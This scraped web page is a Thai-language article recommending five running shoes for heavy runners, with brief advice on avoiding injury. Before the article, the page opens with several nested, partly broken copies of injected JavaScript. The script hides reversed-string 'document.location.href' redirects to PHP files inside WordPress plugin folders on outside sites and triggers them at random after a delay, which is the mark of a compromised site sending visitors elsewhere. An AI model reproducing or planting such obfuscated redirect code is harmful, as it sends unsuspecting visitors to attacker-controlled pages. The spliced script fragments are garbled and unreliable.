{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</alex<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>ander-redl-185764-unsplash-1140x570.jpg)
วิ่ง เป็นกีฬาที่มีมนต์สเสน่ห์อย่างหนึ่งที่ดึงให้ผู้คน ไม่ว่าจะเป็นเพศหรือวัย ก็สามารถเข้ามาร่วมกิจกรรมได้ง่าย เด็กเล็ก วัยรุ่น ผู้ใหญ่วัยทำงานไปจนกระทั้งผู้สูงอายุ วิ่งเป็นกีฬาที่ปลอดภัยและง่ายต่อการเล่น แต่สำหรับคนที่มีรูปร่างไซส์ใหญ่ คงต้องให้ความระมัดระวังในเรื่องแรงกระแทกและการ Support ของรองเท้าที่ควรจะมีเพิ่มขึ้น
Big runner shoe: เเนะนำ 5 รองเท้าสำหรับคนตัวใหญ่
คนตัวใหญ่ คนที่ต้องระมัดระวังในการวิ่งต้องดูอย่างไร เราใช้เกณฑ์อะไรวัดดีว่าเราเป็นคนไซด์ใหญ่…ปกติแล้วเราจะดูน้ำหนักเป็นหลัก ต่อมาก็เป็นเรื่องของความสูงและดูผสมกันระหว่างความสูงและน้ำหนัก (คนไซด์ใหญ่ไม่ได้หมายความว่าต้องเป็นคนอ้วนนะครับ) ถ้าจะเอาให้เข้าเป้าชัดๆ ก็แนะนำว่าให้ลองใช้ค่าดัชนีมวลรวมร่างกายหรือค่า BMI สำหรับคนที่มีมากกว่า 27 ให้ถือว่าคุณเป็นคนไซด์ใหญ่ ต้องระวังแรงกระแทกระหว่างการวิ่งให้ดี เพราะแรงกระแทกที่เกิดจากการวิ่งจะส่งกลับไปยังข้อต่อข้อเข่าต่างๆ ถึง 1.5 – 3 เท่าของน้ำหนักร่างกายเลยทีเดียว ดังนั้นเวลาเลือกรองเท้า จึงควรดูเรื่องโฟมรับแรงกระแทกและการซัพพอร์ตของรองเท้าให้ดี
5 รองเท้าที่จะนำมาแนะนำกับเหล่า Heavy runner ได้แก่…
1. Asics Gel Nimbus 19
เป็นนักวิ่งไซด์ใหญ่ เพิ่งเริ่มวิ่งและรู้ว่าน้ำหนักร่างกายมีผลต่อข้อเข่าแน่ๆ และไม่แน่ใจว่าจะเลือกรองเท้าวิ่งอะไรดี ไม่มีความรู้เลยก็ว่านั้น ถ้ามีอาการอย่างนี้ แนะนำเลยว่าต่อไปที่ร้าน Asics แล้วเลือกเจ้า Asics Gel Nimbus 19 เลยครับ ปัจจุบันน่าจะรุ่นที่ 20 แล้ว
จุดแข็งของรองเท้ารุ่นนี้คือ เจลรองรับแรงกระแทกที่นุ่มมาก โครงสร้างแข็งแรง ผ้า Upper ส่วนบนที่ห่อหุ้มเท้าระบายอากาศได้ดี ใส่วิ่งแบบ Long run ก็ดี แต่บางคนจะไม่ชอบใจเรื่องน้ำหนักเพราะดูอาจจะแอบหนักไปนิด จะเร่งทำ Pace เร็วก็ยากหน่อย เพราะดูแล้วจะเหมาะกับการวิ่งทำ Pace คงดีมากกว่า ดังนั้นถ้าใครที่มีฟอร์มการวิ่งที่ดี มีประสบการณ์มาพักใหญ่อยากปรับเปลี่ยนความเร็วให้หลากหลายมากขึ้นเราก็แนะนำให้เลือกใช้ตัว Asics Gel Kayano ดูครับ แต่โฟมรับแรงกระแทกจะไม่ดีเท่า Gel Nimbus นะครับ
2. Nike Zoom Vomero 12
ถือว่ากลายเป็นลูกเมียน้อยของไนกี้ไปเลยครับ เพราะตอนนี้รุ่นดังๆ อย่าง Pegasus, Pegasus Turbo และ Vaporfly ดังมากจนกลบการมีตัวตนของ Vomreo ไปเลย
Vomero เป็นรองเท้าที่ออกแบบมาสำหรับ All-around runner เหมาะสำหรับใส่ฝึกวิ่งได้ทุกวัน โฟมรองรับแรงกระแทกประกอบด้วย Lunarlon และ Air Zoom เบา ตอบสนองได้ดีและนิ่ม แถมราคาไม่แพงด้วย ในร้านไนกี้อาจจะเห็นแค่ 1-2 คู่ตั้งโชว์อยู่ นักวิ่งไซด์ใหญ่แนะนำให้ลองใส่ดูก่อนครับ แม้ดีไซด์ไม่เท่แต่รับรองว่า performance รองเท้าทำได้ออกมาดีครับ
รุ่นนี้สามารถใส่วิ่งได้ถึงฮาร์ฟมาราธอนและมาราธอนเลย วัสดุ Upper นิ่มสบายเท้า ระบายอากาศได้ดี แต่ส่วนของ Outter-sole จะเป็นวัสดุอ่อนไม่ใส่แผ่นยางแข็ง ดังนั้นดอกยางจะไปเร็วมากหรือเราใส่ฝึกหนักทุกวัน
3. Brooks Transcend 4
เรื่องวิ่งหากไม่กล่าวถึงร้องเท้ายี่ห้อ Brooks ก็คงไม่ได้ สำหรับนักวิ่งไซด์ใหญ่เราแนะนำ Brooks Transcend 4 เป็นรองเท้าที่ให้ความรู้สึก Firm & Stability
พื้นโฟมจะไม่นิ่มเท่าของ Nike หรือ Asics แต่จะเฟริ์มกว่า ขณะเดียวกันก็ให้ความมั่นคงเวลาลงเท้า บังคับให้เท้าลงเป็นที่เป็นทาง ป้องกันการวิ่งส่ายเท้าได้ดี ใส่แล้วฟิตเท้าและส้นมาก แต่ก็ใช้เวลานวดรองเท้านานพอควร ข้อดีอื่นๆ เช่น เป็นรองเท้าที่มีความยืดหยุ่นสูง พื้นดอกยากทน ใช้วิ่งทำความเร็วก็ได้
4. Skechers GOrun Forza 2
เป็นรองเท้าที่ทำออกมาแล้วรู้สึกว่าเบาจนน่าใจหายเลย อาจเป็นเพราะพื้น Midsole และ Outer sole เป็นเนื้อเดียวกันเลยก็ได้ ความนิ่มมีสูงมาก วัสดุก็ทำออกมาได้ดี
ถ้าแนะนำให้ใส่วิ่งก็จะแนะนำให้คนวิ่งระดับกลางไปจนคนที่มีประสบการณ์สูงไปเลยครับ นักวิ่งน่าใหม่มาใส่เจ้าตัวนี้อาจจะรู้สึกแปลกๆ เนื่องจากความนิ่มของโฟมเขาจะไม่เหมือนใคร ใครจะใส่ไปวิ่ง Long run หรือใส่วิ่งเพื่อ recovery ก็ดูจะเข้าทางนะครับ เพราะความรู้สึกใหม่ๆ เวลาวิ่งก็คือมัดกล้ามเนื้อตัวใหม่ได้ใช้งาน นอกจากนี้ยังเป็นรองเท้าในประเภท Stability เหมือนกัน
5. Hoka One One Bondi 5
ตัวสุดท้ายค่อนข้างหาตัวยากหน่อย น่าจะมีขายตามร้าน Rev Runner, Banana Run หรือไม่ก็ร้าน Avarin เป็นแบรนด์ที่ขึ้นชื่อว่าโฟมรองรับแรงกระแทกใหญ่ที่สุด (ราคาก็ใช้ได้เลยนะครับ) และก็ใหญ่จริงๆ ครับ มองเห็นขนาด Mid-sole แป๊ปเดียวก็เดาได้เลยว่ายี่ห้ออะไร
เป็นรองเท้าที่ให้ความรู้สึก Smooth ride ครับ ใส่วิ่งนิ่มๆ ไหลลื่นดี แต่ก็รู้สึกว่าร่างกายยกสูงขึ้นมามากเช่นกัน เนื่องจากขนาดโฟมจะใหญ่พิเศษ แต่แม้จะมีขนาดใหญ่ น้ำหนักรองเท้าทำออกมาได้ดีครับ เบาไม่น่าเชื่อ (ราคาก็แพงละครับตามเนื้องาน) ข้อเสียน่าจะเป็นวัสดุส่วน Upper จะไปเร็วกว่าส่วนของดอกยาก
ใครที่ต้องการมองหารองเท้า Support เยอะๆ ก็อย่าลืมนะครับว่ามันมี trade-off เช่นกัน นั้นคือ ความรู้สึกเชื่อมต่อกับพื้นถนนและการตอบสนองจะน้อย แลกกับความรู้สึก smooth และนิ่มสบายเวลาวิ่ง
วิธีการป้องกันอาการบาดเจ็บสำหรับนักวิ่งไซด์ใหญ่อื่นๆ นอกจากการเลือกรองเท้าวิ่งแล้วนั้นคือ การปรับฟอร์มการวิ่งให้ถูกต้องและการฝึกปรับเพิ่มระยะทางที่ละนิด ค่อยๆ เป็นค่อยๆ ไป ตลอดจนการฝึกกล้ามเนื้อให้แข็งแรง สร้างมัดกล้ามเนื้อให้พร้อมรับ work-load ระหว่างการวิ่ง
อ้างอิง www.runningshoesguru.com
Discussion about this post